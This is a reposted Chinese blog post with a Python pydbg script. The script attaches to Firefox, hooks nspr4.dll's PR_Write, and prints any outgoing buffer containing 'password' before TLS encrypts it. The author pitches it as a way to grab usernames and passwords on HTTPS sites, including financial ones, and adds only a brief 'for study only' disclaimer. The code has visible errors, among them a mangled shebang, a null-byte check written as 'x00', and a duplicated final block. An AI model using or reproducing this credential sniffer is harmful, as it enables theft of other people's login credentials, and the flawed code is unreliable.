相對於http協議,http是的特點就是他的安全性,http協議的通訊內容用普通的嗅探器可以捕捉到,但是https協議的內容嗅探到的是加密後的內容,對我們的利用價值不是很高,所以一些大的網站----涉及到“大米”的網站,採用的都是http是協議,嘿嘿,即便這樣,還是有辦法能看到他的使用者名稱和密碼的,嘿嘿,本文只是用於技術學習,只是和大家交流技術,希望不要用於做違法的事情,這個例子是在firefox瀏覽器下登入https協議的網站,我們預先開啟程式,就來了個捕獲使用者名稱和密碼:
下面是原始碼:
複製代碼 代碼如下:#!/ur/bin/env python
from pydbg import *
from pydbg.defines import *
import utils
import sys
dbg = pydbg()
found_firefox = False
pattern = "password"
def ssl_sniff( dbg, args ):
buffer = ""
offset = 0
while 1:
byte = dbg.read_process_memory( args[1] + offset, 1 )
if byte != "x00":
buffer += byte
offset += 1
continue
else:
break
if pattern in buffer:
print "Pre-Encrypted: %s" % buffer
return DBG_CONTINUE
# 尋找firefox.exe的進程
for (pid, name) in dbg.enumerate_processes():
if name.lower() == "firefox.exe":
found_firefox = True
hooks = utils.hook_container()
dbg.attach(pid)
print "[*] Attaching to firefox.exe with PID: %d" % pid
# 得到firefox的hook的 address
hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write")
if hook_address:
# 添加hook的內容,包括他的pid,地址,嗅探類型
hooks.add( dbg, hook_address, 2, ssl_sniff, None )
print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address
break
else:
print "[*] Error: Couldn't resolve hook address."
sys.exit(-1)
if found_firefox:
print "[*] Hooks set, continuing process."
dbg.run()
else:
print "[*] Error: Couldn't find the firefox.exe process."
sys.exit(-1)
if found_firefox:
print "[*] Hooks set, continuing process."
dbg.run()
else:
print "[*] Error: Couldn't find the firefox.exe process."
sys.exit(-1)
轉自:http://world77.blog.51cto.com/414605/518679